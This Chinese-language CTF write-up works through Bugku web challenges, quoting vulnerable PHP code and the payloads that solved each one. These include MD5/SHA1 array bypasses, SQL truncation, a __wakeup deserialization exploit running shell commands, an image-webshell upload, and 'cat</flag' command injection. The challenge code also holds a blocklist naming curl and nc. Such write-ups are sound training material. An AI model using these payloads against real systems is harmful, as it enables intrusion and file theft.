目录
字符?正则?
<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
trim()移除空白字符
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
. 匹配除 "\n" 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
\/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
/?id=keyabckeyaaaaaakey:/a/keya!
前女友
翻出来源码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
md5弱比较直接数组绕过
strcmp() 两个变量相等返回0,!strcmp($v3, $flag)要为真
可以通过报错返回0,数组和字符串无法比较,所以V3也传个数组
/?v1[]=1&v2[]=2&v3[]=3
Login1
hint:SQL约束攻击
基于约束的SQL攻击 - Angel_Kitty - 博客园
没有遇到过,了解一下原理
sql处理字符串时(一般是在比较字符串时),会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。
"admin"和"admin “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息
可以利用这个漏洞来绕过,方法:若注册时已知admin这个用户名存在,则我们可以注册admin(空格空格空格…)这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。
用admin( 加空格 )当做用户名来注册
然后用admin登录
就能获得真正admin的信息,也就是拿到flag
你从哪里来
抓包设置 Referer 成功, 开始设置User-agent 没出来
各种绕过呦
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
逻辑也简单, uname不等于passwd ,但他两的sha1值相等,sha1也可以数组绕过
file_get_content( )
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
主要就是file_get_contents()文件包含漏洞
/flag.txt 里面有内容: bugku
直接构造$ac=bugku,然后 $fn=flag.txt 读取到bugku 就成功了
?ac=bugku&fn=flag.txt
当然也可以自己构造一个文件出来用 php://input协议
安慰奖
提示backups(备份)、试了一下常见备份路径 index.php.bak
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
还是比较简单的,只需绕过__wakeup() ,读取文件用tac 就行
构造序列化如下
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'tac flag.php';
}
$a = new ctf();
$b = serialize($a);
$c = str_replace(':2:', ':3:', $b);
echo urlencode($c);
文件上传
大家都说这题很坑,参考大佬文章
【bugku】web32 文件上传_小 白 萝 卜的博客-CSDN博客
后缀改成php4,这样是顺利连接上蚁剑了 ,用jpg连不上
文件包含2
这分明文件上传
根据提示 根目录访问upload.php
上传我的图片马
直接成功了
要在这个地址访问,显示成功,然后就可以连蚁剑
http://114.67.175.224:15398/index.php?file=upload/202204131146376442.png
需要管理员
robots.txt
访问 ,看见这个ip想到伪造ip ,但这题没用,底下有个get传参
根据题目,肯定想到搞一个admin出来,?x=admin 就给flag 了
/resusl.php?x=admin
点login咋没反应
还以为login前端有啥问题,试了一下也没发现
dirsearch扫了一遍也没啥
css文件有个提示
直接访问/?17310 ,给源码了
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['17310'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
条件也很简单
cookie传入序列化
都过滤了
!,!=,=,+,^,-,% 像是只有这里的字符可以用
有个登录框,用admin ,bugkuctf登录进去 ,事实上是个sql盲注,有点麻烦看wp
WEB36,38:全都过滤了,你绝望吗(sql盲注)_不想带绿帽子的白帽子的博客-CSDN博客
Bugku WEB 都过滤了_显哥无敌的博客-CSDN博客_bugku 都过滤了
可以构造命令执行了
这里查不到flag文件在哪里,只能是经验了,也许是在根目录下的flag
这里液过滤了空格 所以cat</flag